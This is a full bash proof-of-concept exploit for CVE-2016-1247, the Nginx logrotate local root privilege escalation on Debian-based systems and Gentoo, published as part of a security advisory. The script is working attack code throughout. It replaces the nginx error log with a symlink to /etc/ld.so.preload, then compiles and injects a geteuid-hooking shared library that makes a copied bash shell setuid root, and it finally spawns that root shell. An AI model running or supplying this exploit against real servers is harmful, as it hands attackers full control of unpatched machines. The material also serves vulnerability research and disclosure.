Nginx (Debian Based Distros + Gentoo) – ‘logrotate’ Local Privilege Escalation
#!/bin/bash # # Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit # nginxed-root.sh (ver. 1.0) # # CVE-2016-1247 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # --- # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu # as well as Gentoo etc.) to escalate their privileges from nginx web server user # (www-data) to root through unsafe error log handling. # # The exploit waits for Nginx server to be restarted or receive a USR1 signal. # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx) # script which is called daily by the cron.daily on default installations. # The restart should take place at 6:25am which is when cron.daily executes. # Attackers can therefore get a root shell automatically in 24h at most without any admin # interaction just by letting the exploit run till 6:25am assuming that daily logrotation # has been configured. # # # Exploit usage: # ./nginxed-root.sh path_to_nginx_error.log # # To trigger logrotation for testing the exploit, you can run the following command: # # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx # # See the full advisory for details at: # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # Video PoC: # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/nginxrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Ctrl+C pressed" cleanexit 0 } #intro cat <<_eascii_ _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- \ \ __---__ _- /--______ __--( / \ )XXXXXXXXXXX\v. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX\ /XXXXX( )--_ XXXXXXXXXXX\ /XXXXX/ ( O ) XXXXXX \XXXXX\ XXXXX/ / XXXXXX \__ \XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / \- --__/ ___/\ XXXXXX / ___--/= \-\ ___/ XXXXXX '--- XXXXXX \-\/XXX\ XXXXXX /XXXXX \XXXXXXXXX \ /XXXXX/ \XXXXXX > _/XXXXX/ \XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- \XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" _eascii_ echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" exit 3 fi # Priv check echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" id | grep -q www-data if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n" exit 3 fi # Set target paths ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n" exit 3 fi # [ Exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the log file rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" # Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered curl http://localhost/ >/dev/null 2>/dev/null # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am) echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..." while :; do sleep 1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fi done # /etc/ld.so.preload should be owned by www-data user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" chmod 755 /etc/ld.so.preload # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo 2>/dev/null >/dev/null # Check for the rootshell ls -l $BACKDOORPATH ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi rm -f $ERRORLOG echo > $ERRORLOG # Use the rootshell to perform cleanup that requires root privilges $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" # Reset the logging to error.log $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`" # Execute the rootshell echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -i # Job done. cleanexit 0 |